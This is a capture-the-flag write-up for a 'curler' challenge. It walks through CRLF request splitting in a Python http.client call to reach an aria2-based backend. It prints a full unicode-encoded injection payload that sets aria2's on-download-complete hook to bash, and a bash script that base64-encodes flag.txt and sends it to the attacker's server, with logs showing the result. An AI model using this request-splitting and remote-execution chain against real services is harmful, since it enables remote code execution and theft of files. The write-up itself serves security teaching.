Show me some stats on my website! Have a look to my source code attached too! nc curler.ctf.insecurity-insa.fr 10001 source

nc curler.ctf.insecurity-insa.fr 10001

Launching your app..
5..
4..
3..
2..
1..
Welcome to your FaaS (Fetcher as a Service)!
This program allows you to fetch some stats on a given web url.

Current config is:
URL to fetch: http://insecurity-insa.fr
Fetcher options: {'timeout': 2, 'connect timeout': 2, 'max tries': 5, 'dry run': False}

Please choose your action:
  1. Change the default configuration of our fetcher
  2. Choose the URL you want us to inspect
  3. Fetch!
  4. Exit

Choice?

From the source code we can observe a lot of limitations:

  • url_to_fetch must be valid JSON
  • url_to_fetch when parsed with urlparse must return the http scheme, a valid host and a path
  • fetcher_options is very limited and strictly controlled
  • The outbound request is not made by the script itself but sent via POST to a Flask backend (but sources are not provided)

Also, by using the service we can get these other informations:

  • No response content is ever returned, only statistical data, so we only know if the request was succesfull or not
  • The Flask backend application use aria2 to perform the requests:
connect to [jbzserver] from ip-147-135-133.eu [147.135.133.206] 57218
GET / HTTP/1.1
User-Agent: aria2/1.19.0
Accept: */*,application/metalink4+xml,application/metalink+xml
Host: jbzserver:8080

aria2 is a C language lightweight download manager which supports a lot of protocols and options. It looks like the client script sends aria2 parameters and the destination url to the backend which then probably uses them via subprocess. Given the parametrization of the parameters they are probably used correctly (i.e.: no command injection with ;$() etc) so we should check aria2 manual to see if there is any option that can be useful. However before looking into the command execution we need to find a way to send our custom parameters to tha backend.

From the source code:

def fetch():
    # Hit local flask server
    conn = HTTPConnection(fetcher_service, 8888)
    options = []
    for conf in fetch_options.values():
        options.append(conf["key"] + "=" + str(conf["value"]).lower())
    params = bson.dumps({
        "options": options
    })
    conn.request("POST", "/?url=" + url_to_fetch, params)
    response = conn.getresponse()
    print("Stats:")
    print(response.read().decode())
    print()

As we can see they’re not using python’s request library but the raw http.client. Since url_to_fetch is appended without any particular sanitizations (aparte from being parse by urlparse) it’s possible to inject CRLF to perform an HTTP request Splitting: in practice we could add some newline characters we changing the url_to_fetch parameter and modify the request with our own body and headers. By controlling the Content-Type header we are able to force the backend server to discard the additional body added by the script.

By running the original script locally in order to test the vulnerability we can see that using "http://jbz.com/ HTTP/1.1\r\nheader: splitting-test" as a url the backend would receive the following request:

connect to [127.0.0.1] from localhost [127.0.0.1] 56362
POST /?url=http://jbz.com/ HTTP/1.1
header: splitting-test HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: identity
Content-Length: 109

moptions_0
          --timeout=21--connect-timeout=22--max-tries=53--dry-run=false

So the splitting does work.

However there’s still a problem: the body of the request is being produced by the bson.dumps functions which hash a binary output which is not being encoded. Since our payload need to be loaded from the url config via the json.loads we can’t directly send stuff like null bytes because JSON will fail. After a lot of testing we discovered that while \x00 can’t be used because it’s a control character, it’s unicode equivalent, \u0000 is indeed valid.

The next step is to check the aria2 manual to see if there are useful options:

From the aria2c doc:

--on-download-complete=<COMMAND>

Set the command to be executed after download completed.
See See Event Hook for more details about COMMAND.
See also --on-download-stop option. Possible Values: /path/to/command

Let’s see an example of how arguments are passed to command:

$ cat hook.sh
#!/bin/sh
echo "Called with [$1] [$2] [$3]"
$ aria2c --on-download-complete hook.sh http://example.org/file.iso
Called with [1] [1] [/path/to/file.iso]

The above options should help to achieve code execution but there are again limitations:

  • /path/to/command needs the executable permissions which we cannot set
  • The first argument of /path/to/command is the GID of the download

Luckly the GID of a download is random by default but it can be forced by the --gid option. The following aria2c command succesfully execute the payload located at http://jbzserver/a41b1d2f5a2c2da7:

aria2c --on-download-complete=bash --gid=a41b1d2f5a2c2da7 http://jbzserver/a41b1d2f5a2c2da7 --dry-run=false

Here’s the final payload prepared for the request splitting and unicode encoded:

"http://jbzserver:8080/a41b1d2f5a2c2da7 HTTP/1.1\r\nHost: localhost\r\nAccept-Encoding: identity\r\nContent-Length: 126\r\n\r\n\u007e\u0000\u0000\u0000\u0004\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u0000\u0070\u0000\u0000\u0000\u0002\u0030\u0000\u0010\u0000\u0000\u0000\u002d\u002d\u0064\u0072\u0079\u002d\u0072\u0075\u006e\u003d\u0066\u0061\u006c\u0073\u0065\u0000\u0002\u0031\u0000\u001c\u0000\u0000\u0000\u002d\u002d\u006f\u006e\u002d\u0064\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002d\u0063\u006f\u006d\u0070\u006c\u0065\u0074\u0065\u003d\u0062\u0061\u0073\u0068\u0000\u0002\u0032\u0000\u000c\u0000\u0000\u0000\u002d\u002d\u0074\u0069\u006d\u0065\u006f\u0075\u0074\u003d\u0032\u0000\u0002\u0033\u0000\u0017\u0000\u0000\u0000\u002d\u002d\u0067\u0069\u0064\u003d\u0061\u0034\u0031\u0062\u0031\u0064\u0032\u0066\u0035\u0061\u0032\u0063\u0032\u0064\u0061\u0037\u0000\u0000\u0000\r\n\r\n"

For completeness, here’s the payload:

#!/bin/bash
aria2c http://jbzserver:8080/?resp=$(cat flag.txt | base64 | tr -d '\n')
Serving HTTP on 0.0.0.0 port 8080 ...
213.32.74.44 - - [09/Apr/2018 10:23:37] "GET /a41b1d2f5a2c2da7 HTTP/1.1" 200 -
213.32.74.44 - - [09/Apr/2018 10:23:38] "GET /?resp=SU5TQXt3cm9uZ19saWJzX2NvbWJpbmF0aW9uP19vcl9iYWRfcHJvZ3JhbW1lcj99 HTTP/1.1" 200 -

The flag was INSA{wrong_libs_combination?_or_bad_programmer?}.